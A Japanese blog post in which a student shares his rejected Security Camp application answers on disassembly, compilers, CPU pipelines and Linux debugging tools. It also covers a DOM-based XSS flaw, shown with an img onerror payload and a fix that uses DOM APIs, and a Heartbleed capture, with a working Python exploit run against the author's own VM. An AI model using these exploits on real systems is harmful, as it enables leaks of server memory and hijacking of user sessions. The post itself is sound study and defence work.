セキュキャンに落ちた解答を晒す
んなもん誰が読むんじゃ
まずはセキュリティ・キャンプ合格者のみなさんおめでとうございます。僕は残念ながら落ちてしまいましたが、部内に一人合格者がいたので全滅は免れました。KK君おめでとう&頑張れ。
年齢的に最後のチャンスだったので、落ちた時はかなりへこみましたが、これを期に他の勉強会等にも積極的に参加していきたいです。
今回晒す解答は実際に提出したものをそのまま貼り付けています。
反面教師として来年度以降誰かの参考になったら幸いです。
尚、選択問題2,5,6,9,11に取り組みました。
■選択問題2 (左側の□について、回答した問題は■にしてください) ある機械語をobjdumpにより逆アセンブルしたところ、以下の結果が得られました。このダンブに見られる問題点を指摘してください。 --- 00000000 <.text>: 0: b8 de 07 00 00 mov $0x7de,%eax 5: 3d df 07 00 00 cmp $0x7df,%eax a: 75 06 jne 0x12 c: 89 c0 mov %eax,%eax e: ff e3 jmp *%ebx 10: 75 01 jne 0x13 12: e9 5b ba 0e 00 jmp 0xeba72 17: 00 00 add %al,(%eax) 19: b9 00 00 00 00 mov $0x0,%ecx 1e: bb 01 00 00 00 mov $0x1,%ebx 23: b8 04 00 00 00 mov $0x4,%eax 28: cd 80 int $0x80 2a: b8 01 00 00 00 mov $0x1,%eax 2f: cd 80 int $0x80 --- 【以下に回答してください(行は適宜追加してください)】 00000000 <.text>: 0: b8 de 07 00 00 mov $0x7de,%eax #eax=0x7de 5: 3d df 07 00 00 cmp $0x7df,%eax #0x7df==eax a: 75 06 jne 0x12 #jump to 0x12 c: 89 c0 mov %eax,%eax #nop e: ff e3 jmp *%ebx #jump to ebx 10: 75 01 jne 0x13 #jump to 0x13 12: e9 5b ba 0e 00 jmp 0xeba72 #jump to 0xeba72 17: 00 00 add %al,(%eax) #[eax] += al 19: b9 00 00 00 00 mov $0x0,%ecx #ecx=0 (buf=0?) 1e: bb 01 00 00 00 mov $0x1,%ebx #ebx=1 (stdout) 23: b8 04 00 00 00 mov $0x4,%eax #eax=4 (write) 28: cd 80 int $0x80 #syscall write 2a: b8 01 00 00 00 mov $0x1,%eax #eax=1 (exit) 2f: cd 80 int $0x80 #syscall exit http://pdos.csail.mit.edu/6.828/2010/readings/i386/MOV.htmを参考にするとmovのopcodeがB8であることが確認でき、同様にその他の命令も一致するため、このコードはi386向けの機械語であることが推定できる。 i386向けのシステムコールはarch/x86/syscalls/syscalls_32.tblから確認できる。 まず最初から処理を追うと、0x7de!=0x7dfなので0xa:の時点で0x12にジャンブし、0x12:では0xeba72にジャンブしているため、そこから先は不明である。 問題点として、0x10:のjne 0x13が上げられる。0x13:は命令コードの途中であり、期待しているアドレスではない。0x5bはi386のopcodeに存在しないので、おそらく実行が停止すると思われる。 また、レジスタに即値を代入した後別の即値と比較したり、フラグを変更しない処理の後にjneでジャンプしたり、初期化されていないはずのレジスタのアドレスにジャンプしたりと、全体的に何を目的としたコードなのかが分からない。
■選択問題5 (左側の□について、回答した問題は■にしてください) 以下のようなC言語の関数functionがあるとします。 void function(int *array, int n) { int i; for(i = 0; i < n; i++) { array[i] = i * n; } } 上記ブログラムをコンバイルした結果の一例 (i386)は以下となりました。 00000000 <function>: 0: 56 push %esi 1: 53 push %ebx 2: 8b 5c 24 0c mov 0xc(%esp),%ebx 6: 8b 4c 24 10 mov 0x10(%esp),%ecx a: 85 c9 test %ecx,%ecx c: 7e 18 jle 26 <function+0x26> e: 89 ce mov %ecx,%esi 10: ba 00 00 00 00 mov $0x0,%edx 15: b8 00 00 00 00 mov $0x0,%eax 1a: 89 14 83 mov %edx,(%ebx,%eax,4) 1d: 83 c0 01 add $0x1,%eax 20: 01 f2 add %esi,%edx 22: 39 c8 cmp %ecx,%eax 24: 75 f4 jne 1a <function+0x1a> 26: 5b pop %ebx 27: 5e pop %esi 28: c3 ret このとき以下の(1)~(5)の設問について、回答と好きなだけ深い考察を記述してください。知らない点は、調査したり自分で想像して書いてもらっても結構です。どうしてもわからない部分は、具体的にここがわかりませんと記述しても良いです。(1)~(2)の回答は必ず答えてください。(3)~(5)の回答は任意です。わかることを書いてください。CPU やコンバイラは特定の実装を例に説明しても良いですし、理想を自由に考えても良いです。 (1)【必須】上記の C 言語のブログラムはどのような動作をしますか。また、この関数を呼び出して利用する main 関数の例を作成してください。 (2)【必須】上記のアセンブリコードを、いくつかのブロックに分割して、おおまかに何をしている部分かを説明してください。もし、上記のアセンブリが気に入らないのであれば、好きなアーキテクチャやコンバイラのアセンブル結果を載せて説明しても良いです。 (3)【任意】 コンバイラがソースコードの関数を解釈して、ターゲットのアーキテクチャのバイナリを生成するまで、どのように内部で処理を行っていると思いますか。(キーワード: 構文解析、変数、引数、呼出規約、レジスタ、スタック、アセンブラ、命令セット) (4)【任意】CPU の内部では、ブログラムのバイナリはどのように解釈され実行されていると思いますか。(キーワード: フェッチ、デコード、オベコード、オベランド、命令バイブライン、回路) (5)【任意】現在の CPU やコンバイラの不満点があれば自由に記述してください。 【以下に回答してください(行は適宜追加してください)】 (1)第一引数で渡された配列の0からnまでの要素に、それぞれ配列のインデックスをn倍した整数を格納する。 //main関数の例 int main(void){ int i; int array[10]; function(array,10); for(i=0;i<10;i++){ printf("%d\n",array[i]); } return 0; } (2) 00000000 <function>: 0: 56 push %esi 1: 53 push %ebx #esiとebxを退避 2: 8b 5c 24 0c mov 0xc(%esp),%ebx 6: 8b 4c 24 10 mov 0x10(%esp),%ecx #メモリから引数をebx、ecxに格納(ebx=array、ecx=n) a: 85 c9 test %ecx,%ecx c: 7e 18 jle 26 <function+0x26> #ecxが0以下であった場合0x26にジャンブ(何もしない) e: 89 ce mov %ecx,%esi 10: ba 00 00 00 00 mov $0x0,%edx 15: b8 00 00 00 00 mov $0x0,%eax #eax=0、edx=0、esi=ecx(n)でそれぞれ初期化 1a: 89 14 83 mov %edx,(%ebx,%eax,4) #edxを(ebx+eax+4)の指すアドレスに移動(array[i]にn*iを代入する) 1d: 83 c0 01 add $0x1,%eax #eax+=1 20: 01 f2 add %esi,%edx #edx+=esi(edxにnを足していくことで、i*nをするのではなくルーブ回数分nを足されたedxをarray[i]に代入していく(掛け算の必要がない)) 22: 39 c8 cmp %ecx,%eax 24: 75 f4 jne 1a <function+0x1a> #ecx!=eaxであれば1aにジャンブ(ルーブ処理) 26: 5b pop %ebx 27: 5e pop %esi #esiとebxを戻す 28: c3 ret #呼び出し元に戻る (3) まず、字句解析部が字句チェックを行い、各単語をトークンとしてコンバイラが認識していく。これは例えばfunctionが数字や記号から始まらないこと等をチェックする。 次に構文解析部がC言語のソースコードを構文木として解釈する。これは例えばint function〜という文がin t function〜と、構文として受け入れられない文でないかをチェックする。この際に構文木が生成できない場合は構文エラーとして検出できる。 次に意味解析部が名前とオブジェクト(メモリでの位置)の対応付けや型チェックを行う。構文木の部分木のスコーブなどもここで確認する。定義されていない変数の使用などはここで意味解析エラーとして検出できる。 意味解析を行う際、各識別子を表に記述していく。これはfunctionの引数であるarrayがメモリ上のどこに(この例ではesp+0xc)あるか等を表の中で保持することで、実際に変数がどのメモリの位置にあるかといった変換ができる。 またこの時、functionを呼び出すコードは引数を右から左の順でスタックに渡しているが、これはx86の呼出規約によって決まっており、例えLinux x86_64ではrdi,rsi,rdx,rcx,r8,r9の順に引数をレジスタに格納し、それ以上ある場合はスタックに積んで関数をcallする。またMIPSではa0,a1,a2,a3の順に引数をレジスタに格納し、それ以上ある場合はスタックに積んでjal命令で関数に飛ぶ。また、例えばx86ではretで関数から呼び出し元に戻る、ebx,esi,edi,ebp,espは呼び出し前の状態に戻すなど、関数として呼び出された側の規約もある。 これらの呼び出し規約に基づき、意味解析の結果からアセンブリ言語を生成する。 その後アセンブラが生成されたアセンブリ言語から機械語を生成する。 (4) MIPSを例に取る。 MIPSのデータパスは、単純化すると命令フェッチ(IF)、命令デコード(ID)、計算処理(EX)、メモリアクセス(MA)、書き戻し(WB)の5つのステージをたどる。 まず、命令フェッチでは、プログラムカウンタの指す命令メモリから命令を取り出し、その形式がR形式、ロードストア形式、分岐形式、ジャンプ形式であるかを見分ける。この形式は命令のバイナリのMSBから6ビット、つまり31-26の部分の値によって見分けている。この部分を命令操作コード(opcode)と呼ぶ。 残りの25-0の部分は命令形式によってフィールドが異なり、特にジャンプ命令では25-0の部分をすべて使ってジャンプするアドレスを示す。この部分は命令形式によって異なるがoperandと呼ばれる。 また、マルチプレクサ(入力はレジスタであるか、それともALUの計算結果であるか?プログラムカウンタは通常通り4増やすのか、それともメモリから読みだしてきたアドレスに変更するのか?などを分岐する部分)の制御線も命令形式に応じて変更する。 次に、命令デコードでは、フェッチした命令コードから、各形式に応じて読み出した値を符号拡張したり、マルチプレクサの制御線に応じてレジスタに書き戻す処理等を行う。 次に、ALUと呼ばれる部分で実際に加減算といった計算を行う。また、単純に計算をするだけでなく、この時の計算結果がゼロであるかどうかを判断してジャンプするかしないかを決定するといった処理もこの部分で行っている。加減算やAND,ORなどALUでは複数の計算を行うことができるので、数本の制御線を使ってどの命令を行うかを指定している。 メモリアクセスでは計算結果をメモリに書き込んだり、メモリの内容を読み出す処理などを行う。 最後に書き戻しでは、先ほどのメモリアクセスで読み出してきた値をレジスタに書き戻す処理を行う。 1つの命令につき5つのステージを順番に回していくことになるが、命令が終わるまで何もしないステージが存在するのはもったいない。そこでパイプラインと呼ばれる処理で高速化を図っている。パイプラインとは、例えば最初の命令のIFステージの処理が終了して、次のIDの処理に移行した時、その命令の終了を待たずに次の命令をIFステージに渡すような処理を言う。 この時、命令によっては前の命令の結果が必要なものがあり、前の命令の終了を待つ必要がある。このような関係をハザード(この例では特にデータハザード)と呼ぶ。 ハザードが起きた場合、次の命令は処理できず、前の命令が終了するのを待つ必要がある。 だが、前の命令がALUの計算結果をレジスタに書き込むような命令であった場合、レジスタに書き戻す前にその結果は既に出ている。このため、各ステージの間に出力結果を保持するレジスタを用意し、そこから結果を前借りすることでハザードを回避することが出来る。この方法をフォワーディング、もしくはバイパシングと呼ぶ。 これらの処理によって、高速かつ並列して命令を実行することができる。
■選択問題6 (左側の□について、回答した問題は■にしてください) Linux システムの問題解決であなたが使ったことのあるツール(例: strace, gcore, gdb, kdump など)について記述してください(差支えの無い範囲で構わないので、問題の内容/使用したツール/どのように使用して解決したのかをなるべく詳しく説明 してください)。 【以下に回答してください(行は適宜追加してください)】 100MBのアスキーコード列からなるファイルから、各文字の出現回数をカウントして結果をソートして出力する課題を高速化する際に、straceを用いて使用しているシステムコールやその実行にかかっている時間、また呼び出す回数などを調べ高速化に役立てた(mmapで読み込むのが早いのか、それとも一度に100MB分mallocした方が早いのか等)。 gdbは日常的にデバッガとして使用している。用途として一番多いのはsegmentation faultした際にコアダンブからスタックトレースを表示するのに使用する。最近では構造体に格納されている変数と実際にメモリ上に配置されているデータストリーム(recvしたバケット)を比較するといった用途に使用した。また、先述の高速化課題では一部コードにインラインアセンブラを使用したため、アセンブラ単位でステッブ実行することで効率よくデバッグができ非常に助かった。
■選択問題9 (左側の□について、回答した問題は■にしてください) 以下のコードは、与えられたテキスト内からURLらしき文字列を探して、それらを<a>要素でリンクにしたHTMLを生成するJavaScriptの関数であるとします。攻撃者が引数 text の中身を自由に制御可能な場合、このコードにはどのような問題点があるか、またこのコードを修正するとすればどのようにすればよいか、自分なりに考察して書いてください。 function makeUrlLinks( text ){ var html = text.replace( /[\w]+:\/\/[\w\.\-]+\/[^\r\n \t<>"']*/g, function( url ){ return "<a href=" + url + ">" + url + "</a>"; } ); document.getElementById( "output" ).innerHTML = html; } 【以下に回答してください(行は適宜追加してください)】 このコードはDOM Based XSS対策を行っておらず、任意のコードを差し込むことが可能である。 以下のようなhtmlを想定する。 <html> <head> </head> <body> <div id="output"></div> <script> function makeUrlLinks( text ){ var html = text.replace( /[\w]+:\/\/[\w\.\-]+\/[^\r\n \t<>"']*/g, function( url ){ return "<a href=" + url + ">" + url + "</a>"; } ); document.getElementById( "output" ).innerHTML = html; } makeUrlLinks(decodeURIComponent(document.baseURI)); </script> </body> </html> このファイルを例えばsec9.htmlとし、ブラウザからアクセスしてみるとURLがリンク化されて表示されることが確認できる。 このとき、アクセス時にhttp://192.168.122.86/sec9.html#<img src="http://localhost" onerror="alert('xss')" data-x="">といったURLハッシュを指定すると、アクセス時にxssというアラートが表示されることが確認できた。 尚、この脆弱性はChrome 41.0.2272.118 (64-bit)とFirefox 31.7.0で確認できた。 このようなサイトが実際に存在した場合、攻撃者が短縮URLなどで攻撃用のリンクを隠蔽し、攻撃対象に踏ませることでセッションや入力情報を不正に入手することが可能になる。 makeUrlLinksを以下のように書き換えることで、攻撃を防ぐことが出来る。 function makeUrlLinks( text ){ var output = document.getElementById('output'); var myRe = new RegExp(/[\w]+:\/\/[\w\.\-]+\/[^\r\n \t<>"']*/g); var link; var index = 0; // 正規表現がマッチングする間ループ while((link = myRe.exec(text)) != null){ //先頭にURL風な文字列以外の文字列が含まれるとき、テキストノードとして追加する if(myRe.lastIndex!=link[0].length) output.appendChild(document.createTextNode(text.slice(index,myRe.lastIndex-link[0].length))); // aエレメントを作成してリンクを設定して追加する var a = document.createElement('a'); a.setAttribute('href',link[0]); a.setAttribute('target','_blank'); a.appendChild(document.createTextNode(link[0])); output.appendChild(a); index = myRe.lastIndex; } //後尾にURL風な文字列以外の文字列が含まれるとき、テキストノードとして追加する if(index!=text.length) output.appendChild(document.createTextNode(text.slice(i ndex,text.length))); } DOM Based XSSの対策として、適切なエスケープとinnerHTMLやdocument.writeの使用ではなくDOM APIの使用が推奨されている。 上記の修正されたmakeUrlLinksではDOM APIを用いてリンクとテキストをoutputに追加する処理を行っている。この関数を上記のHTMLで使用したところ、Chrome、Firefox共にアラートが表示されないことが確認できた。
■選択問題11 (左側の□について、回答した問題は■にしてください) 下記バイナリを解析し、判明した情報を自由に記述してください ------------------------------------------------ D4 C3 B2 A1 02 00 04 00 00 00 00 00 00 00 00 00 00 00 04 00 01 00 00 00 88 EB 40 54 A2 BE 09 00 52 00 00 00 52 00 00 00 22 22 22 22 22 22 11 11 11 11 11 11 08 00 45 00 00 44 1A BD 40 00 80 06 3A 24 C0 A8 92 01 C0 A8 92 80 10 26 01 BB 86 14 7E 80 08 B3 C8 21 50 18 00 FC 0D 0E 00 00 18 03 03 00 17 01 0E FB 06 F6 CD A3 69 DC CA 0B 99 FF 1D 26 09 E1 52 8F 71 77 45 FA ------------------------------------------------ 【以下に回答してください(行は適宜追加してください)】 fileコマンドを用いて、作成したバイナリファイルの種類を確認するとtcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)という結果が得られたので、wiresharkに読ませてみるとSSL/TLSのHeartbeat requestであることがわかった。 payloadが実際のものより長く(payload lengthが3835バイトであるのに対し、実際は4バイト)設定されていることから、Heatbleed攻撃(CVE-2014-0160)であることが推測できる。 OpenSSL 1.0.1gより以前のOpenSSLを使用していた場合、この攻撃によって3831バイトのメモリ内容が流出するおそれがある。 実際に提示されたバイナリを元にHeartBleed攻撃を試してみる。 攻撃対象としてVMにCentOS6.5をインストールした。 CentOS6.5をインストールした直後の、アップデートを行っていない状態でのOpenSSLのバージョンは1.0.1e-fipsだった。これはHeartBleed脆弱性を含む。 exploitコードとして以下のpythonコードを使用した。尚、Client Helloのペイロード部はhttps://gist.github.com/ixs/10116537を参考にした。 import socket import binascii host='192.168.122.86' port=443 soc=socket.socket(socket.AF_INET,socket.SOCK_STREAM) soc.connect((host,port)) payload=bytes('\x18\x03\x03\x00\x17\x01\x0e\xfb\x06\xf6\xcd\xa3\x69\xdc\xca\x0b\x99\xff\x1d\x26\x09\xe1\x52\x8f\x71\x77\x45\xfa','UTF-8') def h2bin(x): return binascii.unhexlify(x.replace(' ', '').replace('\n', '')) hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 03 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') soc.sendall(hello) soc.sendall(payload) print(soc.recv(4096)) soc.close() このコードを実行してみると、 b'\x16\x03\x03\x00:\x02\x00\x006\x03\x03U\x85\xf0s\x1c\xe0\x9a\x896d\xc8H\xa8\x03\x02\xa9\x9f\x90y\xe2.\x9c\xb3\xea@\xb9\x02\xf1N\x0e9\x1b\x00\x009\x00\x00\x0e\xff\x01\x00\x01\x00\x00#\x00\x00\x00\x0f\x00\x01\x01\x16\x03\x03\x03M\x0b\x00\x03I\x00\x03F\x00\x03C0\x82\x03?0\x82\x02\xa8\xa0\x03\x02\x01\x02\x02\x02x\xcb0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x000\x81\xbb1\x0b0\t\x06\x03U\x04\x06\x13\x02--1\x120\x10\x06\x03U\x04\x08\x0c\tSomeState1\x110\x0f\x06\x03U\x04\x07\x0c\x08SomeCity1\x190\x17\x06\x03U\x04\n\x0c\x10SomeOrganization1\x1f0\x1d\x06\x03U\x04\x0b\x0c\x16SomeOrganizationalUnit1\x1e0\x1c\x06\x03U\x04\x03\x0c\x15localhost.localdomain1)0\'\x06\t*\x86H\x86\xf7\r\x01\t\x01\x16\x1aroot@localhost.localdomain0\x1e\x17\r150620211602Z\x17\r160619211602Z0\x81\xbb1\x0b0\t\x06\x03U\x04\x06\x13\x02--1\x120\x10\x06\x03U\x04\x08\x0c\tSomeState1\x110\x0f\x06\x03U\x04\x07\x0c\x08SomeCity1\x190\x17\x06\x03U\x04\n\x0c\x10SomeOrganization1\x1f0\x1d\x06\x03U\x04\x0b\x0c\x16SomeOrganizationalUnit1\x1e0\x1c\x06\x03U\x04\x03\x0c\x15localhost.localdomain1)0\'\x06\t*\x86H\x86\xf7\r\x01\t\x01\x16\x1aroot@localhost.localdomain0\x81\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\xcc\xdb\xbd\xc0\xf2\x16I\xd7s@g\x1a\xe5dkg\x12\xe7?\xbd\xf8XO\x86M\xb3\xb1)\xc0T^\xd5\xf4z~\x8f6\x99\x9a\xff:s\xfe\x05\x8f\r\x8fB\xd6\xe9\xa5U&7\xe0\r\xf3\x99\xc6\xff\xed\x90\xee&\xe8\xa6\xce\x93\xe9M\x1c\\J\xae\xe0\xa6\x1c\x06\x81\x03\x0eK\x81|\x1a/>T\x9bf@^<\xb3\xe7c1\xb9(\xc6\x04L\x8d\xb7\xf6~\xbd\x14\x15!\xb2\xf2o\xc1\x19\xcaM\x0e\xa4\x92\x9a\x8cO\x05\xc7\x93\xf9\x8b\x02\x03\x01\x00\x01\xa3P0N0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xbb\x1e\xf1sU\xe9\x0f\x80E\x98\x06\x18f\x85\xfe\x7f\xbf\xb4Ml0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14\xbb\x1e\xf1sU\xe9\x0f\x80E\x98\x06\x18f\x85\xfe\x7f\xbf\xb4Ml0\x0c\x06\x03U\x1d\x13\x04\x050\x03\x01\x01\xff0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x00\x03\x81\x81\x00\x887\x04\xee\x8d\xf5h\x8d\xf9C\xe8\x16\xe5\x1d\x16Wy\xd6pA\xd0;.\\\x11\x99\xfb\x93\x80Q\xe5\x83\xcf\xc6\xd9\xb4\xc3\xe2\x01\xab\xa3lv"\xaex\xc3\xb8\xf8\x7f\x84\xce=)!\x1b\xa3\xfe\x940?\x1e\x17X\xa0\xf0\xd1F\xff:A\x97{\xb4\xe7\xb9=\xbb1\x1d\x80DjJ\x9d\x02\xfd\xa4\x037\x1cU\x9b\xbbC\xcc6\x88\x9e\tK\x00\xf2\xa2S\x04\xe7L\xad`\x1d\x8aU\x9c\xe3UA\xcf\x80\xa7{\xde\x1fU\x01\xdf\x83\xd8\x16\x03\x03\x01\x8f\x0c\x00\x01\x8b\x00\x80\xd6}\xe4@\xcb\xbb\xdc\x196\xd6\x93\xd3J\xfd\n\xd5\x0c\x84\xd29\xa4_R\x0b\xb8\x81t\xcb\x98\xbc\xe9Q\x84\x9f\x91.c\x9cr\xfb\x13\xb4\xb4\xd7\x17~\x16\xd5Z\xc1y\xbaB\x0b*)\xfe2JFzc^\x81\xffY\x017{\xed\xdc\xfd3\x16\x8aF\x1a\xad;r\xda\xe8\x86\x00x\x04[\x07\xa7\xdb\xcaxt\x08}\x15\x10\xea\x9f\xcc\x9d\xdd3\x05\x07\xddb\xdb\x88\xae\xaat}\xe0\xf4\xd6\xe2\xbdh\xb0\xe79>\x0f$!\x8e\xb3\x00\x01\x02\x00\x80\x15\xb9n\x81\x07\x9e\x16\xc4\xbdz\x15\xe5\x02L\x9d\x87eV5\xa1z]\xe8l\x13\xa6\xdc\xfd~@\x07y\xc0\xd5UN\x1c\x12\xd5R\xf0V.4\x91\xfe\xcb\xea?\xcd\x90\t\x13\xa0\xfd>\x98\x7f\xc5R\xc9}\xe6YC?C\xcb2\xe3oI\xab\xa2\x11Y:7\xd7\xd6\x85F\xc3X\x9e\x90\xcdxx\xf6@\x1d\'\xffe\x85gh\xaa\xce\x81\\\xeb"\x05;!\xae\xec\xfe\xda\xe3\xb7\xc3-\x14\xcb?\x96\x0eZ\xf0@\xca\xfe<\x05\x9c\x02\x01\x00\x80"\xe9\xfa\xb2\xdf@/|\xff\x14kx~Zv\x1c\xf2K\x98\xb8\xbbE\xa4\x97\x12\xb8aV\xd9j\x1f\xb1\x98\xdc5#\xd4\xfe\r\xbf\x89\xf6g\x01\x9c\xf3\xb7|\x10\xde\xc9OF\xcf\xa2$#\xc4\x15\xde\x0eJ\xe9\x84\tbk\x89\xab\xcc\xa3\xf5\xca\xf5g\xf63\xe5\x9c\xc0\xd5\x8a\x1b\x96\xa0\x9e\xd5\x02v\xb1\x9f\xc4\xdf(\x9ap\xb3W\xa1\xd6\xc9\xab\x07\xf8\x061\xfe/\x05\xb7\xa90\x1c)\x04\xf1`\x13(\x9c\x0e\xc0\xde\xf4n\x86\xc3\xde\x16\x03\x03\x00\x04\x0e\x00\x00\x00' といった結果が得られた。各所にメモリからリークしたと思われるデータが表示されており、攻撃によってメモリ内容が流出したことが確認できた。
どこが間違っていたのか、何が足りなかったのかといった考察は、長くなりそうな上に言い訳じみたものになりそうなので自重します。
ただ一つだけ言い訳をするなら、知識・技術力は勿論、熱意が足りませんでした。
自分の勉強不足を反省して、もっと意識を高く持ち、勉強していきたいと思います。